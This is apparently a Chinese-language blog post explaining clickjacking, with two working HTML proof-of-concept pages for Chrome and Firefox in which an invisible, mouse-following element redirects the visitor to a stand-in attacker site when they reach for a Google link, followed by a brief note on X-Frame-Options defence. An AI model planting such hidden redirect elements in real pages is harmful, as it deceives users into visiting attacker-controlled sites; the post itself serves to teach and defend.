• ClickJacking 攻擊手法範例程式與防護

    這篇文章主要說明一種網站駭客的另外一種手法 ClickJacking。

    就像這張圖的例子,讓使用者以為是可以領取 Free iPAD,實際上點擊的是 “Like”

    透過兩層網頁的重疊關係,並且讓FaceBook Like底層的網頁顏色透明化,

    使用者只看到最上一層 “Claim your Free iPAD”的網頁。像這樣的攻擊手法就稱為 “ClickJacking”

    Chrome 程式範例

    程式測試說明:

    • 1. 顏色可以設定為 #FFFFFF,也就是白色透明處理,讓使用者看不到。
    • 色系設定可以參考 http://www.color-hex.com/color/ffffff
    • 2. “http://www.HackerWebSite/ClickJacking” 為誘導使用者要點選的網站,也就是實際會前往的網站。因為顏色設定為白色,所以使用者不知道。
    • 3. “http://www.google.com” : 這是讓使用者以為點選到之後會前往的網站
    <html>
    <style type="text/css">
    <!--
    .style1 {
     font-size: 50px;
     font-weight: bold;
    }
    .style2 {
     color: #FF0000;
     font-weight: bold;
     font-size: 24px;
    }
    -->
    </style>
    <body>
    <span class="style2">Chrome ClickJacking Sample</span>
    <p>Click 'Google Website' will re-direct to 'http://www.targethacker.com/'</p>
    <p>Mouse move Over HackerSite will also re-direct to 'http://www.targethacker.com/'</p>
    <p>
    <div class="style1" id="open"
    style="position:absolute; width:8px; height:7px; background:#FFFFFF; border:1px; left: 19px; top: 155px;"
    onmouseover="document.location='http://www.TargetHacker.com/';">HackerSite</div></p>
    
    <p><strong>
      <script>
    function updatebox(evt) {
    	mouseX=evt.pageX?evt.pageX:evt.clientX;
    	mouseY=evt.pageY?evt.pageY:evt.clientY;
    	document.getElementById('open').style.left=mouseX-2;
    	document.getElementById('open').style.top=mouseY-2;
    }
    </script>
    </strong><a href="https://www.google.com/" onClick="updatebox(event)"><font
    style="font-family:arial;font-size:32px">Google Website</font></a></p>
    <p><br>
    </p>
    </html>
      

     

    將上述程式碼編輯儲存為 HTML檔案,並且用瀏覽器開啟,執行結果如下圖

    ClickJacking Testing

    FireFox 程式範例

    <html>
    <style type="text/css">
    </style>
    <body>
    <p align="center"><code><font face="Calibri" size="6" color="#FF0000">FireFox</font></code><code class="xml plain"><font face="Calibri" size="6" color="#FF0000"> Browser </font></code>
    <font face="Arial" size="2"><code class="xml plain">
    </code></font><font face="Calibri" size="6" color="#FF0000"><code class="xml plain">
    <b>Clickjacking Testing</b></code></font></p>
    <p align="center"> </p>
    <div class="style1" id="open"
    style="position:absolute; width:2px; height:2px; background:#FFFFFF; border:1px; left: 2px; top: 2px;"
    onmouseover="document.location='http://www.HackerWebSite/ClickJacking';">
    	<p align="center">
    	<font size="1" color="#FFFFFF">ClickJacking</font></div>
    <p align="center"><strong>
      <script>
    function updatebox(evt) {
    	mouseX=evt.pageX?evt.pageX:evt.clientX;
    	mouseY=evt.pageY?evt.pageY:evt.clientY;
    	document.getElementById('open').style.left=mouseX-2;
    	document.getElementById('open').style.top=mouseY-2;
    }
    </script>
    </strong><a href="http://www.google.com" onClick="updatebox(event)"><font style="font-family:arial;font-size:32px">Go to the google.com</font></a></p>
    <p><br>
    </p>
    <div class="style1" id="open0" style="position:absolute; width:2px; height:13px; background:#7f7f78; border:10px none; left: 354px; top: 146px;" onmouseover="document.location='http://www.HackerWebSite/ClickJacking';">
    	<p align="center">
    	<font size="3" color="#7f7f78">ClickJacking</font></div>
    
    <p align="center"> </p>
    <p align="center"> </p>
    <p align="center">Click the Google link, but it will link to www.HackerWebsite/ClickJacking</p>
    
    
    <p align="center">ClickJacking PoC</p>
    
    
    
    </html>
    
    
          

    ClickJacking 防護

    最常見的防護方式是在 Http Header中指定X-Frame-Options。

    但是這個方式僅能確保 iFrame中是否允許瀏覽其他網站。

    https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet

    Posted by Tony @ 2:25 pm

  • Leave a Reply

    Your email address will not be published.